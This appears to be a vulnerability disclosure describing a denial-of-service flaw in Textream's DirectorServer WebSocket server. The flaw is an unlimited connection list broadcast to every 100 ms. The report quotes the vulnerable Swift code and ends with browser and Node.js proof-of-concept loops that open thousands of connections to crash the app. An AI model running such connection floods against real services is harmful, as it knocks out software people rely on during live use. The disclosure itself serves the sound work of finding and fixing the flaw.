Summary

The DirectorServer WebSocket server imposes no limit on concurrent connections. Combined with a broadcast timer that sends state to all connected clients every 100 ms, an attacker can exhaust CPU and memory by flooding the server with connections, causing the Textream application to freeze and crash during a live session.

Details

In DirectorServer.swift, handleWSConnection() appends every incoming connection to an unbounded array with no upper limit enforced:

// DirectorServer.swift – handleWSConnection()
private func handleWSConnection(_ conn: NWConnection) {
    conn.start(queue: .main)
    wsConnections.append(conn)  // ⚠️ No connection limit
    receiveWSMessage(conn)
    ...
}

The startBroadcasting() timer fires every 100 ms and iterates over the entire wsConnections array, JSON-encoding and sending a DirectorState payload to each client:

// DirectorServer.swift – broadcast()
private func broadcast(_ state: DirectorState) {
    guard !wsConnections.isEmpty,
          let data = try? JSONEncoder().encode(state) else { return }
    let meta = NWProtocolWebSocket.Metadata(opcode: .text)
    let ctx = NWConnection.ContentContext(identifier: "ws", metadata: [meta])
    for conn in wsConnections {          // ⚠️ Iterates all connections
        conn.send(content: data, contentContext: ctx, completion: .idempotent)
    }
}

With N simultaneous connections, the app performs N × 10 send operations per second on the main queue. At a few thousand connections this saturates the main run loop, blocking the UI thread and causing a crash.

Proof of Concept

Run the following from a browser developer console while Director Mode is active:

// Browser PoC – open 3000 connections
for (let i = 0; i < 3000; i++) {
  new WebSocket('ws://127.0.0.1:7576');
}

Or from Node.js:

// Node.js PoC
const WebSocket = require('ws');
for (let i = 0; i < 5000; i++) {
  try { new WebSocket('ws://127.0.0.1:7576'); } catch (_) {}
}

Within seconds the Textream application becomes unresponsive (spinning beachball on macOS) and subsequently crashes.